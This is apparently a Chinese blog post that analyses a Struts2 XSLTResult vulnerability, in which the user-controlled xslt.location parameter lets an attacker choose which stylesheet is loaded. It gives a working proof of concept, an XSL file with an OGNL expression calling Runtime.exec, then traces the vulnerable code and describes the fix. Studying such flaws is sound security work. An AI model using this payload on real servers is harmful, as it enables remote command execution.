前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
前面那些都是个什么东西……
环境搭建
2.3.15.1 版本的 struts2 + Tomcat 9。
修改 struts.xml,加上 xslt 解析:
1 2 3
| <result name="success" type="xslt"> <param name="stylesheetLocation">/</param> </result>
|
stylesheetLocation 的值随意。
漏洞利用
在 web目录(webapp)下新建一个 upload 目录,存放用于攻击的文件,文件名随意:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" xmlns:ognl="ognl.Ognl"> <xsl:template match="/"> <html> <body> <h2>hacked by kxlzx</h2> <h2>http://www.inbreak.net</h2> <exp> <xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/> </exp> </body> </html> </xsl:template> </xsl:stylesheet>
|
然后访问:
1
| http://localhost:8080/login.action?xslt.location=/upload/poc.Twings
|
即可命令执行。
漏洞分析
看起来就是个类似 XXE 的漏洞,struts2 解析了 XML 文件,然后解析标签属性的时候执行了里面的 OGNL 表达式。这个漏洞的主要问题就在于文件路径可以被用户控制,调试 XSLTResult 类,可以看到:
1 2 3 4 5 6
| String location = getStylesheetLocation(); ... if (location != null) { templates = getTemplates(location); transformer = templates.newTransformer(); }
|
文件路径本来来自配置文件,但是在其不为空的情况下,会调用 getTemplates 函数:
1 2 3 4 5 6 7 8
| protected Templates getTemplates(String path) throws TransformerException, IOException { String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
if (pathFromRequest != null) path = pathFromRequest; ... }
|
可以看到,客户端可以通过提交一个 xslt.location 参数直接控制要解析的 XML 文件路径。
漏洞修复
2.3.28.1 版本的修复,删掉了 getTemplates 函数中获取 xslt.location 参数的代码。
参考文章:
https://yanbin.blog/struts2-xsltresult-details/
http://itindex.net/detail/38232-struts2-%E6%A1%86%E6%9E%B6-xsltresult